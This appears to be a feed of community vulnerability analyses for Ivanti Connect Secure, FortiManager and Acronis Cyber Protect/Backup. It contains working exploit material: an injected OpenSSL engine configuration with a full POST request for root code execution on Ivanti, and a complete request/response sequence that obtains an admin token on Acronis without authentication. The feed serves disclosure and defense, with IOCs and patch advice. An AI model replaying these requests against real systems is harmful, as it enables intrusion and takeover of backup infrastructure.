Activity Feed

1

As of today, Nov 4th 2024, SonicWall PSIRT updated their advisory with new confirmed Indicators of Compromise (IOC) regarding threat-actors attempting to abuse this vulnerability: https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0015

2
Ratings
  • Attacker Value
    High
  • Exploitability
    High
Technical Analysis

Ivanti Connect Secure versions prior to 22.7R2.1 and 22.7R2.2, and Ivanti Policy Secure versions prior to 22.7R1 are vulnerable to CRLF injection, which leads to remote code execution with the privileges of the user root. Since it requires to be authenticated as an administrator on the web interface, it might be less attractive for attackers. That being said, it is still considered a critical vulnerability since the attacker could have full control of the server.

Another requirement is the ability to upload a malicious file to the server. This file will be loaded and executed later during the exploitation of this vulnerability. The available PoC’s abuse the Client Log Upload feature for this purpose, which needs to be enabled and can only be used by a non-administrative user, as far as I know. Since the attacker already has access to the administrative interface, he can easily enable this feature and create a user if necessary.

Technical Details

The attack consists in first uploading the payload abusing the Client Log Upload capability. The application doesn’t seem to check the file type and consider it as a .zip file. It renames the file and stores it in a known location on the server (/home/runtime/uploadlog/). The attacker can retrieve the filename from the administrative interface and get the full local path on the server.

Then, the attacker will create a Certificate Signing Request (CSR) via the web interface and inject some specifically crafted OpenSLL configuration:

[default]
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
var1 = custom_section_name
[custom_section_name]
engine_id = var1
dynamic_path = /home/runtime/uploadlog/log-20241104-071100.zip
init = 0

This configuration will instruct OpenSSL to use a custom cryptographic engine instead of the default one. The local path of our payload (previously uploaded through the Client Log Upload feature) is specified in the injected configuration, which will result in OpenSSL loading it as a shared object. This OpenSSL Engine API has been deprecated since OpenSSL version 3.0, but the vulnerable Ivanti products use an older version with this feature still available.

Example of HTTP POST request with the injected OpenSSL configuration:

xsauth=7b256576da59e34e61e6dc729d10a979&commonName=Legal&organizationName=Weber, Murazik and Sauer&organizationalUnitName=Risk Management&localityName=Pourosberg
[default]
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
uqsp = pleapzctgw
[pleapzctgw]
engine_id = uqsp
dynamic_path = /home/runtime/uploadlog/log-20241104-071100.zip
init = 0
&stateOrProvinceName=Michigan&countryName=NE&emailAddress=bobbi_kuvalis@bauch-kub.example&keytype=RSA&keylength=1024&eccurve=prime256v1&random=aJcgsEm&newcsr=yes&certType=device&btnCreateCSR=Create CSR

The application will format and save these configurations to a temporary file on the server. openssl req will then be executed to create a CSR, passing this temporary configuration file as an argument:

openssl req config <temp_config> -new -utf8 -out <output folder>

Indicators of Compromise

  • Log files uploaded through the Client Log Upload feature will appear in logs in the administrative interface (Log/Monitoring > Events > Logs).
  • A pending CSR might still be listed in the administrative interface (Configuration > Certificates > Device Certificate)

A Metasploit module exploiting the vulnerability against Ivanti Connect Secure is available.

Indicated source as
  • Personally observed in an environment
2
Ratings
Technical Analysis

The flaw lies in the FortiGate to FortiManager Protocol (FGFM), which is designed for deployment scenarios where NAT traversal is needed. By abusing the vulnerability, attacks have been reported where the attacker attempted to register a new “local device” with a serial number.
Once registered, an attacker can exploit this to gain RCE on FortiManager itself.

From there, the attacker has access to the FortiManager’s managed firewalls, enabling them to view configuration files, alter device settings, and escalate further into downstream networks.

Fortinet’s advisory highlights IOCs observed and mitigations.

1
1
Ratings
Technical Analysis

After my previous attackerkb article CVE-2023-45249 on Acronis Cyber Infrastructure with the default password vulnerability, I became curious what else could be found in the Acronis cyber suite of applications.
Quickly, I bumped into a security advisory usd-2022-0008 of usd HeroLab explaining a serious security flaw in the Acronis Cyber Protect 15 and Acronis Cyber Backup 12.5 appliance that allows unauthenticated attackers to gain full admin access on the Acronis appliance.

The origin of the security flaw arises from the fact that agents installed on endpoints can register without any authentication on the appliance.
Probably, this design decision was taken in order to ease the automation of agent registrations on many endpoints. Unfortunately, the agent registration access is on the level of admin and can be misused to gain full control on the appliance and all the registered endpoints. This makes it a very attractive target for malicious actors with, potentially, a very large attack surface.

The advisory of usd HeroLab describes the attack sequence for Acronis Cyber Protect 15 which will not work for the Acronis Cyber Backup 12.5 vulnerable versions.

Below is the attack sequence that works for both releases 15 and 12.5.

First step: Get the first access token

POST /idp/token HTTP/1.1
Host: 192.168.201.6:9877
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://backup.acronis.com
Content-Length: 19
Connection: keep-alive

grant_type=password

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 1436
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:00:54 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

{"access_token":"[REDACTED access_token]","token_type":"bearer","expires_in":86399,"id_token":"REDACTED"}

Second step: Register an agent using the access_token
Note: you can generate your own client_id uuid.

POST /api/account_server/v2/clients HTTP/1.1
Host: 192.168.201.6:9877
Accept: */*
Authorization: Bearer [REDACTED access_token] 
Content-Type: application/json
Content-Length: 219
Connection: keep-alive

{"client_id":"51088f07-76df-4933-8382-ce8ad4c58401","data":{"agent_type":"backupAgent","hostname":"cuckoo.evil.corp","is_transient":true},"tenant_id":"","token_endpoint_auth_method":"client_secret_basic","type":"agent"}

Response

HTTP/1.1 201 Created
Cache-Control: no-cache
Content-Length: 1217
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:01:11 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

{"client_id":"51088f07-76df-4933-8382-ce8ad4c58401","version":0,"client_secret":"ph3mhvz4xqyhx3jk62dten6tau6xjo32qgy6svify5tt5zzgbmnm","registration_access_token":"kp24vdxcku7xgpn72ufnq5sjoi5odggiz2wb4ta4mqls66zkbvge","registration_client_uri":"https://192.168.201.6:9877/api/account_server/clients/51088f07-76df-4933-8382-ce8ad4c58401","type":"agent","tenant_id":"00000000-0000-0000-0000-000000000000","data":{"agent_type":"backupAgent","hostname":"cuckoo.evil.corp","is_transient":true},"token_endpoint_auth_method":"client_secret_basic","_href":"/api/account_server/v2/clients"
,"_links":[{"rel":"get","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"delete","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"update","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401"},{"rel":"add_access_policy","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401/access_policies"},{"rel":"access_policies","type":"application/json","href":"/api/account_server/v2/clients/51088f07-76df-4933-8382-ce8ad4c58401/access_policies"}]
}

Last step: Use the client_id and client_secret to get the admin access token

POST /idp/token HTTP/1.1
Host: 192.168.201.6:9877
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 143
Connection: keep-alive

grant_type=client_credentials&client_id=51088f07-76df-4933-8382-ce8ad4c58401&client_secret=ph3mhvz4xqyhx3jk62dten6tau6xjo32qgy6svify5tt5zzgbmnm

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 816
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:01:25 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block

{"access_token":"[REDACTED admin_token]","token_type":"bearer","expires_in":2591999}

And with this admin access_token (valid for 30 days), an unauthenticated attacker can use all the API calls at free will.

For instance, get the version information of the appliance.

GET /api/ams/versions HTTP/1.1
Host: 192.168.201.6:9877
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
Accept: application/json
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Referer: http://192.168.201.5:9877/
Accept-Encoding: gzip, deflate, br
Authorization: Bearer [REDACTED admin_token]
Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Cache-Control: no-cache
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
Content-Type: application/json
Date: Sun, 20 Oct 2024 13:01:45 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: session=eyJBQ1JPU0VTU0lPTiI6IldRZkxnNllVaC0zUldTdTEifQ.GfaQuQ.OAc_hunx2cL18m0_i9RM2dlfoho; Expires=Sun, 20-Oct-2024 13:11:45 GMT; Max-Age=600; HttpOnly; Path=/
Vary: Accept-Encoding
X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com; font-src 'self'; img-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Content-Length: 73

{"apiVersions":0,"backendVersion":"12.5.11010","buildNumber":"12.5.3710"}

This is of course pretty bad, because you can now pull all configurations of the registered endpoints at the appliance using the admin token in combination with an simple API call GET /api/ams/resources?embed=details.
And this information can be used to plan subsequent attacks targeting specific endpoints, such as domain controllers or other interesting infrastructure.

I have created a Metasploit module with PR 19852 that exploits this vulnerability and gathers all endpoint information registered at a vulnerable appliance.
This information can then be used in another Metasploit module PR 19583 that actually performs a remote code execution in order to gain root or administrator access on the targeted endpoint. A more detailed explanation can be found in the attackerkb article CVE-2022-3405.

Mitigation

Please patch your appliance to the latest supported version or at least a build version above Acronis Cyber Protect 15 (Windows, Linux) build 29486 or
Acronis Cyber Backup 12.5 (Windows, Linux) build 16545.

Indicators of Compromise (IOC)

Unfortunately, there is not much to go on because all requests are genuine requests and the dummy agent registration does not show up in the activity or alert list at the web console on the appliance.

References

CVE-2022-30955
Security advisory usd-2022-0008
Acronis Cyber Protect/Backup Downloads
Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure
Metasploit PR 19583 – Acronis Cyber Backup/Protect RCE

Credits goes to

Sandro Tolksdorf of usd AG for the discovery of this vulnerability.